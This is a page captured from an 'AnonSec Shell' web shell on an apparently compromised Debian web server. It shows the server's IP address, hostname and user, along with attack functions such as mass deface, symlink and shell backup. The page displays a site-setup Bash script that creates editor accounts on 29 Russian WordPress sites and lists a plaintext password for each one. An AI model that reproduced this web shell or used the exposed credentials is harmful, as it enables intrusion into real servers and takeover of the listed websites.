AnonSec Shell
Server IP : 5.101.180.230  /  Your IP : 216.73.216.64   [ Reverse IP ]
Web Server : Apache/2.4.62 (Debian)
System : Linux s4261ad19.fastvps-server.com 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64
User : mrnews_ru_usr ( 1030)
PHP Version : 8.2.26
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www//setup_general.sh
#!/bin/bash

# Массивы с данными о сайтах
domains=(
    "allfixed.ru"
    "dagb.ru"
    "deroseproject.ru"
    "cleex.ru"
    "keywordium.ru"
    "nerehtahp.ru"
    "teams-up.ru"
    "watercycle.ru"
    "knit-story.ru"
    "baziscompany.ru"
    "ematik.ru"
    "elm-stroy.ru"
    "domuskvera.ru"
    "masterakomforta.ru"
    "domsippanel.ru"
    "golicinoavto.ru"
    "artdom-select.ru"
    "gosty-dom.ru"
    "avtogear-mir.ru"
    "chasti-avto.ru"
    "autoliftspot.ru"
    "gross-auto.ru"
    "inpino.ru"
    "autolavki.ru"
    "fastsmet.ru"
    "nfhgmk.ru"
    "metelicanur.ru"
    "mobiqa.ru"
    "tehno-draiv.ru"
)

users=(
    "allfixed_ru_usr"
    "dagb_ru_usr"
    "deroseproject_ru_usr"
    "cleex_ru_usr"
    "keywordium_ru_usr"
    "nerehtahp_ru_usr"
    "teams_up_ru_usr"
    "watercycle_ru_usr"
    "knit_story_ru_usr"
    "baziscompany_ru_usr"
    "ematik_ru_usr"
    "elm_stroy_ru_usr"
    "domuskvera_ru_usr"
    "masterakomforta_ru_usr"
    "domsippanel_ru_usr"
    "golicinoavto_ru_usr"
    "artdom_select_ru_usr"
    "gosty_dom_ru_usr"
    "avtogear_mir_ru_usr"
    "chasti_avto_ru_usr"
    "autoliftspot_ru_usr"
    "gross_auto_ru_usr"
    "inpino_ru_usr"
    "autolavki_ru_usr"
    "fastsmet_ru_usr"
    "nfhgmk_ru_usr"
    "metelicanur_ru_usr"
    "mobiqa_ru_usr"
    "tehno_draiv_ru_usr"
)

# Данные для новых пользователей (логин, пароль, email)
usernames=(
    "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" 
    "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" 
    "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor" "Redactor"
)

passwords=(
    "s8d_qyeuD56zM9lvXcvd"
    "5Va8RwMfWXiA-xx-a3TZ"
    "3sWgjdjIMwB2_FoUiyzM"
    "0qQeh7I_aqT8wrVCVyM6"
    "wknrTWCto_3KsXBKC_lU"
    "g_z5NdaNEph8FAN1dvce"
    "vlGQ_BGjI5YlYAoZtWeZ"
    "B5ltMsHDeBGDUn-_utyT"
    "E0LEHvrcJkag-2oM5jwN"
    "4AwDMMjOu6gWP-3odNxZ"
    "yf5cCApN_-3D8LOojYek"
    "JWZqc8P_K_N-1XvcjEY4"
    "ZWWa5-aUPcLaoS7varia"
    "e-UzSV8RK_uYXfhwB1j-"
    "iIdWwGV7kS-QP9_Gzgkx"
    "bvLgEpeg0713yDv_kBzP"
    "NKBgD_puDy8rjGlb5dCS"
    "-lsfA-FYoDZ2h8FdWpVf"
    "NPjGrhliY_EJ3LiWPD4U"
    "QqFteFky-aIHZUqCI7zr"
    "krh16sMs6KY9wLb1yF9_"
    "KRSNwAD-gqn_k_fCju5u"
    "R-x7onj39V-VXm7e2yJN"
    "EkHdzH7hqhQwbNCAqV-b"
    "1t-3tamY6DxtJEiKXqep"
    "fiW88c5rDtaAhyhlc-uk"
    "ewrkxFXoLMva3m_NWeXz"
    "QM1RmNMmObP-rgOVcHzy"
    "o5cFxjqkmauPBdxjEW-W"
)

emails=(
    "redactor@allfixed.ru"
    "redactor@dagb.ru"
    "redactor@deroseproject.ru"
    "redactor@cleex.ru"
    "redactor@keywordium.ru"
    "redactor@nerehtahp.ru"
    "redactor@teams-up.ru"
    "redactor@watercycle.ru"
    "redactor@knit-story.ru"
    "redactor@baziscompany.ru"
    "redactor@ematik.ru"
    "redactor@elm-stroy.ru"
    "redactor@domuskvera.ru"
    "redactor@masterakomforta.ru"
    "redactor@domsippanel.ru"
    "redactor@golicinoavto.ru"
    "redactor@artdom-select.ru"
    "redactor@gosty-dom.ru"
    "redactor@avtogear-mir.ru"
    "redactor@chasti-avto.ru"
    "redactor@autoliftspot.ru"
    "redactor@gross-auto.ru"
    "redactor@inpino.ru"
    "redactor@autolavki.ru"
    "redactor@fastsmet.ru"
    "redactor@nfhgmk.ru"
    "redactor@metelicanur.ru"
    "redactor@mobiqa.ru"
    "redactor@tehno-draiv.ru"
)

# Названия и описания сайтов
titles=(
    "Решения для бизнеса и жизни"
    "Деловой Аналитический Глобал Банк"
    "Проект Дерозе — Финансовая грамотность"
    "Cleex — Финансы будущего"
    "Keywordium — Финансы и маркетинг"
    "NerehtaHP — Финансовые советы"
    "Teams-Up — Финансы и стартапы"
    "WaterCycle — Финансы и технологии"
    "KnitStory — Финансовый журнал"
    "БазисКомпани — Финансовые решения"
    "Ematik — Личные финансы"
    "ЭЛМ-Строй — Строительство под ключ"
    "Дом у Сквера — Архитектура и дизайн"
    "Мастера Комфорта — Ремонт и отделка"
    "Дом SIP Панель — Энергоэффективное строительство"
    "Голицыно Автоцентр — Стройматериалы"
    "АртДом Select — Элитная недвижимость"
    "Гости Дом — Строительство и быт"
    "АвтоГир Мир — Запчасти и аксессуары"
    "ЧАСТИ-АВТО — Все для вашего авто"
    "AutoLiftSpot — Обслуживание авто"
    "Gross-Auto — Запчасти и шины"
    "InPino — Авто каталог и тест-драйвы"
    "Автолавки — Автотовары и запчасти"
    "FastSmet — Сметное дело"
    "NFHG MK — Машиностроение и металлургия"
    "Метелица НУР — Промышленное оборудование"
    "Mobiqa — Цифровые технологии"
    "ТехноДрайв — Технологии будущего"
)

descriptions=(
    "Платформа о практичных решениях: от технологий и финансов до бытовых услуг. Полезная информация для предпринимателей, IT-специалистов и всех, кто ценит стабильность."
    "Информационный портал о финансах, инвестициях и бизнес-стратегиях. Экспертные аналитика и обзоры рынков."
    "Образовательный ресурс по управлению личными финансами, инвестированию и стартапам."
    "Платформа для онлайн-трейдинга, инвестиций и цифровых финансов. Умные решения для управления капиталом."
    "Сайт о финансовых технологиях, маркетинге и продвижении онлайн-бизнеса."
    "Полезные материалы по личным финансам, кредитам, инвестициям и заработку в интернете."
    "Ресурс для предпринимателей: финансы, инвестиции, стартапы, развитие бизнеса."
    "Портал о финансовых инновациях, блокчейне и цифровой экономике."
    "Истории успеха, финансы, инвестиции, карьера и саморазвитие в мире бизнеса."
    "Консалтинговая компания и информресурс по вопросам корпоративных финансов и бухгалтерии."
    "Советы и статьи о личном бюджете, инвестициях, кредитах и накоплениях."
    "Компания полного цикла: проектирование, строительство домов, ремонт, отделка."
    "Журнал о современном дизайне интерьеров, архитектуре и благоустройстве городской среды."
    "Сервис ремонта квартир, частных домов, офисов. Высокое качество, опытные специалисты."
    "Строительство дома из SIP-панелей: быстро, тепло, экономично. Технологии будущего."
    "Продажа стройматериалов и автоаксессуаров в Голицыно и Подмосковье."
    "Агентство элитной недвижимости в Москве и области. Квартиры, дома, особняки."
    "Полезные советы по ремонту, строительству, дачному хозяйству и жизни на природе."
    "Интернет-магазин автозапчастей, масел, фильтров и аксессуаров для всех марок авто."
    "Каталог оригинальных и аналоговых запчастей. Быстрая доставка, гарантия."
    "СТО и техническое обслуживание автомобилей. Диагностика, ремонт, замена масел."
    "Широкий выбор автомобильных запчастей, шин, дисков и аксессуаров."
    "Обзоры новых автомобилей, тест-драйвы, сравнение моделей, отзывы водителей."
    "Онлайн-магазин автотоваров, запчастей, автохимии и электроники для авто."
    "Сайт о строительных сметах, нормативах, расчетах, программах и услугах."
    "Информационный ресурс о машиностроительной отрасли, металлообработке и промышленных технологиях."
    "Поставки промышленного оборудования, комплектующих, спецтехники для заводов и производств."
    "Новости IT, мобильные технологии, смартфоны, планшеты, умные часы и IoT."
    "Обзоры гаджетов, новостей высоких технологий, программного обеспечения и стартапов."
)

# Цикл по сайтам
for i in "${!domains[@]}"; do
    domain=${domains[$i]}
    user=${users[$i]}
    path="/var/www/$user/data/www/$domain"
    username=${usernames[$i]}
    password=${passwords[$i]}
    email=${emails[$i]}
    title=${titles[$i]}
    description=${descriptions[$i]}

    echo "--------------------------------------------"
    echo "🔹 Настраиваем сайт: $domain под пользователя: $user"
    echo "Путь к сайту: $path"
    echo "--------------------------------------------"

    # Проверяем, существует ли пользователь
    if id "$user" &>/dev/null; then
        echo "✅ Пользователь $user найден, продолжаем..."
    else
        echo "❌ Ошибка: Пользователь $user не существует!"
        continue
    fi

    # Проверяем, существует ли папка с WordPress
    if [ ! -f "$path/wp-config.php" ]; then
        echo "❌ Ошибка: Папка $path не является установкой WordPress!"
        continue
    fi

    # 1. Создание нового пользователя с ролью "редактор"
    echo "Создаем пользователя $username с ролью 'редактор'..."
    su - "$user" -c "wp --path='$path' user create '$username' '$email' --role=editor --user_pass='$password'"
    if [ $? -eq 0 ]; then
        echo "✅ Пользователь $username успешно создан на сайте $domain"
    else
        echo "❌ Ошибка создания пользователя $username на сайте $domain"
    fi

    # 2. Настройка постоянных ссылок
    echo "Настройка постоянных ссылок в формате /%category%/%postname%/..."
    su - "$user" -c "wp --path='$path' rewrite structure '/%category%/%postname%/'"
    su - "$user" -c "wp --path='$path' rewrite flush"
    if [ $? -eq 0 ]; then
        echo "✅ Постоянные ссылки успешно настроены на сайте $domain"
    else
        echo "❌ Ошибка настройки постоянных ссылок на сайте $domain"
    fi

    # 3. Установка названия и описания сайта
    echo "Устанавливаем название и описание для сайта..."
    su - "$user" -c "wp --path='$path' option update blogname '$title'"
    su - "$user" -c "wp --path='$path' option update blogdescription '$description'"
    if [ $? -eq 0 ]; then
        echo "✅ Название и описание успешно установлены для сайта $domain"
    else
        echo "❌ Ошибка при установке названия и описания для сайта $domain"
    fi

    # 4. Настройка обсуждений
    echo "Настройка параметров обсуждений..."
    su - "$user" -c "wp --path='$path' option update ping_sites ''"
    su - "$user" -c "wp --path='$path' option update default_ping_status closed"
    su - "$user" -c "wp --path='$path' option update default_comment_status closed"
    su - "$user" -c "wp --path='$path' option update comments_notify 0"
    su - "$user" -c "wp --path='$path' option update moderation_notify 0"
    su - "$user" -c "wp --path='$path' option update comment_moderation 1"
    su - "$user" -c "wp --path='$path' option update comment_whitelist 1"
    if [ $? -eq 0 ]; then
        echo "✅ Параметры обсуждений успешно настроены на сайте $domain"
    else
        echo "❌ Ошибка настройки параметров обсуждений на сайте $domain"
    fi

    # 5. Настройка языка, часового пояса и HTTPS
    echo "Устанавливаем русский язык, часовой пояс и переключаем на HTTPS..."
    su - "$user" -c "wp --path='$path' core install-language ru_RU"
    su - "$user" -c "wp --path='$path' option update WPLANG 'ru_RU'"
    su - "$user" -c "wp --path='$path' option update timezone_string 'Europe/Moscow'"
    su - "$user" -c "wp --path='$path' option update siteurl \"https://$domain\""
    su - "$user" -c "wp --path='$path' option update home \"https://$domain\""
    su - "$user" -c "wp --path='$path' search-replace \"http://$domain\" \"https://$domain\" --all-tables"
    if [ $? -eq 0 ]; then
        echo "✅ Язык, часовой пояс и HTTPS успешно настроены на сайте $domain"
    else
        echo "❌ Ошибка настройки языка, часового пояса и HTTPS на сайте $domain"
    fi

    # 6. Настройка плагинов
    echo "Настройка плагинов..."

    # WP-Optimize
    su - "$user" -c "wp --path='$path' option update wpo_cache_images 'yes'"
    su - "$user" -c "wp --path='$path' option update wpo_cache_pages 'yes'"
    su - "$user" -c "wp --path='$path' option update wpo_minify 'yes'"

    # Yoast SEO
    su - "$user" -c "wp --path='$path' option update wpseo_homepage_meta_description '$description'"
    su - "$user" -c "wp --path='$path' option update wpseo_disable_author_archives 'on'"
    su - "$user" -c "wp --path='$path' option update wpseo_disable_date_archives 'on'"

    # YARPP
    su - "$user" -c "wp --path='$path' option update yarpp_template '<h3>Похожие статьи:</h3>'"
    su - "$user" -c "wp --path='$path' option update yarpp_related_threshold '1'"
    su - "$user" -c "wp --path='$path' option update yarpp_analyze_titles '1'"
    su - "$user" -c "wp --path='$path' option update yarpp_analyze_content '1'"
    su - "$user" -c "wp --path='$path' option update yarpp_search_pages '0'"

    # Easy Table of Contents
    su - "$user" -c "wp --path='$path' option update etoc_label 'Содержание'"
    su - "$user" -c "wp --path='$path' option update etoc_exclude_tags 'h1|h4|h5|h6'"
    su - "$user" -c "wp --path='$path' option update etoc_disable_on_pages '1'"

    if [ $? -eq 0 ]; then
        echo "✅ Плагины успешно настроены на сайте $domain"
    else
        echo "❌ Ошибка настройки плагинов на сайте $domain"
    fi

    echo "--------------------------------------------"
done

echo "✅ Все сайты успешно настроены."

Anon7 - 2022
AnonSec Team